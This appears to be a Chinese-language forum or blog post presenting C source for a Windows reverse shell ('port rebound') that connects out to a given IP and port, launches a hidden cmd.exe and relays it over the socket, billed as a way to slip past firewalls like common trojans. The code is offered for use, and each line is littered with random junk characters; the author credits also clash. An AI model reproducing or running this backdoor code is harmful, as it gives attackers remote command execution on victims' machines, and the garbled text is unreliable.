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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 i$MYR @  
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/* ============================== JBX#U@k>I  
Rebound port in Windows NT N$#518  
By wind,2006/7 }py6H[  
===============================*/ 9e^HTUFbG  
#include $x_6 .AOZ,  
#include * ]uo/g  
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#pragma comment(lib,"wsock32.lib") Bqo8G->  
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void OutputShell(); Tc{r;:'G<  
SOCKET sClient; UG)J4ZX  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 0sxZa+G0o  
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void main(int argc,char **argv) 5:[<pY!s#  
{ ^@W98_bd;  
WSADATA stWsaData; *5KV DOd  
int nRet; }*vUOQQp*  
SOCKADDR_IN stSaiClient,stSaiServer; 8Q $fXB  
="%nW3e@  
if(argc != 3) mDJF5I  
{ ) xRm  
printf("Useage:\n\rRebound DestIP DestPort\n"); hCXSC*;  
return; qf7:Q?+.|  
} 'EF\=o)^Y  
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WSAStartup(MAKEWORD(2,2),&stWsaData); iCA!=%M@D  
MDETAd  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \ ) H}  
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stSaiClient.sin_family = AF_INET; V?KACYd@O  
stSaiClient.sin_port = htons(0); t{)Z$ )'  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 9rhIDA(wc  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) kz4d"bTb  
{ %3v:c|r  
printf("Bind Socket Failed!\n"); {P'TtlEp  
return; tnx)_f  
} u$T`Bn  
3&*_5<t\X  
stSaiServer.sin_family = AF_INET; "YIrqk  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); vfb~S~|U6g  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); B(}u:[ b^S  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) &V. ps1  
{ dQhh,}  
printf("Connect Error!"); DK2m(9/`3  
return; +(>!nsf  
} !@ERAPuk  
OutputShell(); ;Dl< GW3<  
} "T>74bj_|Q  
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void OutputShell() V*an0@  
{ SSi-Z  
char szBuff[1024]; r >%reS  
SECURITY_ATTRIBUTES stSecurityAttributes; Dx<">4   
OSVERSIONINFO stOsversionInfo; gQ]WNJ~>  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ^4jIT1  
STARTUPINFO stStartupInfo; f? sW^ d;  
char *szShell; Z<j(ZVO  
PROCESS_INFORMATION stProcessInformation; gO C5  
unsigned long lBytesRead; QBi&Q%piy  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); B~p` 3rC  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 7"L`|O?8)  
stSecurityAttributes.lpSecurityDescriptor = 0; R-v99e iN  
stSecurityAttributes.bInheritHandle = TRUE; ^:JZ.r  
F"7dN*7  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]k2Jf}|  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); jI`1>>N&1  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); CuE>=y- "I  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W'2a1E  
stStartupInfo.wShowWindow = SW_HIDE; $6p_`LD0  
stStartupInfo.hStdInput = hReadPipe;  [Tha j  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \k6Ho?PL  
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GetVersionEx(&stOsversionInfo); C %l!"s^  
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switch(stOsversionInfo.dwPlatformId) PA5_  
{ A0x"Etbw)  
case 1: |T53m;D  
szShell = "command.com"; 9Q 4m9}  
break; >eHSbQu/Bu  
default: zE"ME*ou  
szShell = "cmd.exe"; } Qjp,(ye  
break; 76i)m!  
} Nr.maucny  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); K]mR9$/  
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send(sClient,szMsg,77,0); A aLj.HR  
while(1) R#ayN*  
{ 3?Ckk{)&  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); vR m.# +Td  
if(lBytesRead) x"kc:F  
{ MPt:bf#  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); bv&A)h"S  
send(sClient,szBuff,lBytesRead,0); }t4?*:\  
} fFG, ^;7-O  
else `N 0Mm7  
{ 'n> ,+,&  
lBytesRead=recv(sClient,szBuff,1024,0); L4th 7#  
if(lBytesRead<=0) break; ]fH U/%  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); "*o54z5"  
} y( M-   
} e/@tU'$  
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return; & i,on6  
}
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